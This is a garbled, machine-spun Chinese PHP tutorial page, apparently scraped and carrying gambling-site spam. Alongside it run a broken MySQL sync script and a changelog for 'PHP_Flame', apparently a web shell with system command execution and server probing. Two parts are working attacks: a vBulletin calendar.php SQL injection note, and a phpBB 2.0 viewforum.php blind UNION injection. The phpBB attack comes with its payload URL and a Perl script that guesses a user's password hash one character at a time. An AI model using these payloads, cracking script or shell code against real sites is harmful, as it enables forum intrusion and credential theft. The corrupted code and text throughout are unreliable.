PHP_Flame的原代码_php底工_脚本之家,php注入实例

作者:云顶集团线路检测

vBulletin Forum 2.3.xx SQL InjectionThere exist a sql injection problem in calendar.php.-------- Cut from line 585 in calendar.php ----------else if {$eventinfo = $DB_site->query_first("SELECT allowsmilies,public,userid,eventdate,event,subject FROM calendar_events WHERE eventid = $eventid");-----------------------------------------------------If the MySQL version is greater than 4.00, a UNION attack could be used.----------------------------------------- query_first function will only return the first row of the query result, so make sure it returns !the one you want.

怎么使 Mysql 数据同步先假若有主机 A 和 B ,主机 A 的 IP 分别是 1.2.3.4 ,主机 B 的 IP 是 5.6.7.8 。八个主机都装上了 PHP+Mysql ,今后操作的是主机 A 上的素材,假若别的三个主机 B 想跟 A 的资料进行协作,应该怎么办吗?OK,我们几日前就出手。首先,要是要想五个主机间的资料同步,一种艺术正是主机 A 往主机 B 送质感,别的一种主法正是主机 B 到主机 A 上拿资料,因为 A 的 IP 是动态的,所以大家就得从主机 A 往主机 B 送材料。在主机 B 上成立一个Mysql 账户。# GRANT ALL ON test.* TO user@% IDENTIFIED BY "password"; //创立顾客 user,能够从其余机器访谈到主机 B 上的 test 数据库。假使这里展现错误,先把 % 改为一个 IP ,然后再利用 phpMyAdmin 把 IP 改为 % ,测量试验精确后就足以写 php 程序。$link=mysql_pconnect("localhost","user","password");mysql_pconnect("localhost","user","password"卡塔尔(قطر‎; //连接本机的数据库mysql_select_db; //接受数据库test$re=mysql_query("select * from table order by id desc");$num=mysql_numrows) {$id=mysql_result; //获得本机table表的最大ID}mysql_close; //关闭与本机数据库的总是$link=mysql_pconnect("5.6.7.8","test","test");mysql_pconnect("5.6.7.8","test","test"卡塔尔国; //连接主机B的数据库mysql_PHP_Flame的原代码_php底工_脚本之家,php注入实例_php根基_脚本之家【云顶娱乐送6元救济官网金】。select_db; //选拔数据库test,此数据库应该与主机A上test数据库的构造雷同。$re=mysql_query("select * from table order by id desc");$num=mysql_numrows) {$remote_id=mysql_result; //获得主机Btable表的最大ID}if {$result_id=$id-$remote_id; //假设主机A中table的最大ID大于主机B中table表的最大ID,表明七个} 的资料不一样mysql_close; //关闭主机B的数据库连接$link=mysql_pconnect("localhost","user","password");mysql_pconnect("localhost","user","password");mysql_select_db;if $result_id=0;if $remote_id=0; //若是主机B中的table的最大ID为空,那么就等0$re=mysql_query("select * from table limit $remote_id,$result_id"State of Qatar; //抽取主机A中table表与主机B中table表里区别的素材$num=mysql_numrows) {for {$test[$i]=mysql_result; //把区别的质感归入一个数组里}}mysql_close; //关闭主机A的数据库连接$link=mysql_pconnect("5.6.7.8","user","password");mysql_pconnect("5.6.7.8","user","pasword");mysql_select_db;for { //这里的i等于在相比主机A与主机B上table表差别资料的数据mysql_query("insert into table values;}mysql_close; //关闭主机B的数据库连接?>此时就最初完毕了 A 主机和 B 主机数据的同盟,但以往还亟需人手动每便去激活这几个顺序,有没办法把它看成三个剧本同样的,放在 crontab 里面指准时期自动试行呢?在设置 php 时会自动生三个叫 php 的可实施文件,日常在/你安装的 php 目录 /bin 上面,然则较底的本子好像从来不,若无那么些文件,你就得提高你的 php 。#php -q test.phpphp 原来是应用在网页应用的﹐由此它会送出 HTML 的 Header﹐不过在那大家是要将 php 用作 Shell Script﹐"-q" 就是表示并不是送出 Header 的意思.最终编辑 /etc/crontab 里的文书,加上下边这一句。0 0 * * * root /home/httpd/html/test //每一日晚间零点执/home/httpd/html/test文件OK,到此处大概就已成功 Mysql 数据的同台了,假诺各位还只怕有意思味的话,能够想二个连编辑、删除都能协同的更加好的法子。

多文本上传的例子//upload_html.php---------------------------------------------------------------------------------------------

php注入实例在英特网很掉价到一篇完整的有关php注入的篇章和采用代码,于是自身自已把mysql和php硬啃了多少个礼拜,上边说说自身的休会吧,希望能一得之见! 相信大家对asp的流入已然是特别纯熟了,而对php的注入比asp要困难,因为php的magic_gpc选项确实令人高烧,在注入中不用现身引号,而php多数和mysql结合,而mysql的效劳上的欠缺,从别的一人角度看确在自然水准上防范了sql njection的大张讨伐,小编在这处就举一个实例吧,小编以phpbb2.0为例: 在viewforum.php中有三个变量没过滤: if ( isset($HTTP_GET_VARSsql_query { message_die(GENERAL_ERROR, 'Could not obtain forums information', '', __LINE__, __FILE__, $sql); } } else { message_die(GENERAL_MESSAGE, 'Forum_not_exist'State of Qatar; } 假若是asp的话,相信广大人都会注入了.即使那么些forum_id钦命的论坛不真实的话,就能够使$result为空,于是回到Could not obtain forums information的消息,于是上面包车型大巴代码就不可能举行下去了 // // If the query doesn't return any rows this isn't a valid forum. Inform // the user. // if ( !($forum_row = $db->sql_fetchrow { message_die(GENERAL_MESSAGE, 'Forum_not_exist'); } // // Start session management // $userdata = session_pagestart /**************************************** 关键正是打星号的那一行了,这里是多少个函数session_pagestart($user_ip, $thispage_idState of Qatar,那是在session.php中定义的一个函数,由于代码太 长,就不全贴出来了,有意思味的能够自已看看,关键是那个函数还调用了session_begin(卡塔尔,函数调用如下session_begin($user_id, $user_ip, $thispage_id, TRUEState of Qatar卡塔尔(قطر‎,雷同是在这里个文件中定义的,当中好似下代码 $sql = "UPDATE " . SESSIONS_TABLE . " SET session_user_id = $user_id, session_start = $current_time, session_time = $current_time, session_page = $page_id, session_logged_in = $login WHERE session_id = '" . $session_id . "' AND session_ip = '$user_ip'"; if ( !($result = $db->sql_query ││ !$db->sql_affectedrows { $session_id = md5; $sql = "INSERT INTO " . SESSIONS_TABLE . " (session_id, session_user_id, session_start, session_time, session_ip, session_page, session_logged_in) VALUES ('$session_id', $user_id, $current_time, $current_time, '$user_ip', $page_id, $login)"; if ( !($result = $db->sql_query { message_die(CRITICAL_ERROR, 'Error creating new session : session_begin', '', __LINE__, __FILE__, $sql卡塔尔; } 在那有个session_page在mysql中定义的是个整形数,他的値$page_id,也就是$forum_id,假诺插入的不是整形就能够报错了,就能出现Error creating new session : session_begin的提醒,所以要指这$forum_id的值很关键,所以小编把它内定为:-1%20union%20select%201,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20phpbb_users%20where%20user_id=2%20and%20ord(substring=57,未有引号吧!就算钦赐的是三个海市蜃楼的forum_id但她回到的询问结果可不分明是为空,这些正是猜user_id为2的客商的首先位密码的ascii码值是是或不是为57,固然是的话小说中第一段代码中的$result可不为空了,于是就举行了ession_pagestart这几个不符合规律的函数,插入的不是整数当然将要出错了,于是就展现Error creating new session : session_begin,就注脚你猜对了第一位了,别的位相似. 若无那句出错新闻的话小编想即使注入成功也很难判别是或不是已经成功,看来出错新闻也很有援助啊.深入分析就到这边,上面附上一段测量试验代码,这段代码只要稍加修正就能够适用于此外相仿的猜md5密码的气象,这里本身用的葡萄牙语版的回到条件,中文和别的语言的假如改一下再次来到条件就可以了. use HTTP::Request::Common; use HTTP::Response; use LWP::UserAgent; $ua = new LWP::UserAgent; print " ***********************n"; print " phpbb viewforum.php expn"; print " code by pinkeyesn"; print " www.icehack.comn"; print " ************************n"; print "please enter the weak file's url:n"; print "e.g. "; $adr=; chomp; print "please enter the user_id that you want to crackn"; $u=; chomp; print "work starting,please wait!n"; @pink=; @pink=; for{ for { $url=$adr."?forum=-1%20union%20select%201,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20phpbb_users%20where% 20user_id=$u%20and%20ord(substring=$pink[$i]"; $request = HTTP::Request->new; $response = $ua->request; if ($response->is_success) { if ($response->content =~ /Error creating new session/) { $pwd.=chr; print "$pwdn"; } } } } if { print "successfully,The password is $pwd,good luckn";} else{ print "bad luck,work failed!n";} 至于前段时间的phpbb2.0.6的search.php的主题材料接受程序一旦将上面代码稍加改正就能够了,如要错误请上www.icehack.com指正.

IPHP_Flame 的有的音讯: *改革了不可能下载文件的BUG *校订了无法回到上级的BUG *改过了代码编辑出现谬误的BUG ...... *增加PHPINFO的功能 *充实多文本下载的意义 *日增实践系统命令的机能 *充实代码查看效能 *日增服务器安全探测效率 ....... *还大概有好多美化专门的学问。。。。。。 相关的材料: 1。改善了不能够再次来到上级的BUG的代码: echo "回去上级"; 2。改进了不能下载文件的相干代码: case "download": if (!@is_file echo"你要下的文本空头支票"; $filename = basename; $filename_info = explode; $fileext = $filename_info[count-1]; header('Content-type: application/x-'.$fileext卡塔尔(قطر‎; header('Content-Disposition: attachment; filename='.$filename卡塔尔; header('Content-Description: PHP3 Generated Data'State of Qatar; readfile; break; 3。扩充代码查看成效 文本代码 4。改良了代码编辑现身谬误的代码: $tem= str_replace("/textarea>","//textarea>",$tem); 。。。。。 $tem= str_replace("//textarea>","/textarea>",$temState of Qatar; 5。增添服务器安全探测功效: if (get_cfg_varecho"on
";else echo"off
"; echo "* disable_functions:";$dis_func=get_cfg_var; if { echo("no value"); } else { $dis_func=str_replace; $dis_func=str_replace; echo; } 6。推行系统命令部分的代码: if { ?>

上传文件

if { $method="system"; } if { echo "* JSW'S PHP FLAME
"; echo "* Author: JSW
"; echo "* safe_mode:";if (get_cfg_varecho"on
";else echo"off
"; echo "* disable_functions:";$dis_func=get_cfg_var; if { echo("no value"); } else { $dis_func=str_replace; $dis_func=str_replace; echo; } echo "
* Now please choose a function and enter the command......"; } echo "

本文由云顶集团线路检测发布,转载请注明来源

关键词: